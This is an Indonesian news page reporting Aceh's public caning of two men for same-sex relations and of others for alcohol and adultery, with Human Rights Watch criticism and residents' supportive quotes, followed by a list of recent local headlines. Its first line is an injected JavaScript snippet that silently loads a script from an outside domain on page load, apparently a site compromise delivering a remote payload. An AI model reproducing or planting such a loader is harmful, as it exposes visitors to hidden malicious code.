(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Aceh Hukum Cambuk Pasangan Homoseksual


KANALKALIMANTAN.COM, ACEH – Pihak berwenang di Aceh secara terbuka menghukum cambuk enam orang yang dituduh melanggar hukum Islam, termasuk dua pria yang menerima 77 cambukan karena melakukan hubungan sesama jenis. Hukuman tersebut disebut lembaga nirlaba Human Rights Watch sebagai “penyiksaan publik.”

Aceh adalah satu-satunya provinsi di Tanah Air yang menerapkan hukum Islam. Hukum tersebut adalah yang ketiga kalinya terjadi sejak Aceh melarang homoseksualitas pada tahun 2014. Aceh juga memberlakukan hukuman cambuk untuk kejahatan seperti pencurian, perjudian dan perzinahan.

Seorang petugas polisi syariah bertudung melakukan hukuman cambuk pada hari Kamis (28/1). Kejadian tersebut, sebagaimana dilansir dari Reuters, Sabtu (30/1), disaksikan oleh kerumunan masyarakat yang mengenakan masker. Salah satu pria itu meringis kesakitan saat menerima hukuman, yang menyebabkan ibunya pingsan.

Dua orang lainnya menerima 40 cambukan karena mengkonsumsi alkohol dan dua lainnya 17 cambukan karena perzinahan.

Andreas Harsono, peneliti Human Rights Watch Indonesia, mengutuk hukuman cambuk dan sikap homofobik yang ditunjukkan oleh beberapa orang di Aceh.

“Jika Indonesia ingin dianggap sebagai negara yang beradab, pemerintah harus menghentikan praktik penyiksaan di Aceh dan segera meninjau bagaimana hukum Islam telah diintegrasikan ke dalam peraturan daerah,” katanya.

Devi Arinah, seorang guru di Aceh yang berusia 53 tahun, mengatakan bahwa dia mendukung hukuman cambuk untuk tindakan homoseksual. Namun menurutnya, orang yang dihukum tersebut harus “diberi konseling agar mereka menyadari bahwa tindakan mereka tidak sesuai untuk kita sebagai orang beriman.”

Warga lainnya, Teguh Khosul yang berusia 17 tahun, mengatakan bahwa jika hukuman cambuk tidak mengubah perilaku, maka seorang ulama harus membantu “merehabilitasi” kaum gay secara religius atau diusir dari masyarakat. [ah]

Editor : VOA


Al Ghifari

Recent Posts

Pj Bupati Kapuas Lepas Peserta Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More

45 menit ago

Baliho Curhat Korban Investasi Bodong di Banjarmasin Diturunkan

KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More

55 menit ago

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

4 jam ago

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

5 jam ago

Bupati dan Wabup Banjar Hadiri Haul Ke-86 Datu Kasyful Anwar

KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More

10 jam ago

Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Kintap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More

10 jam ago

This website uses cookies.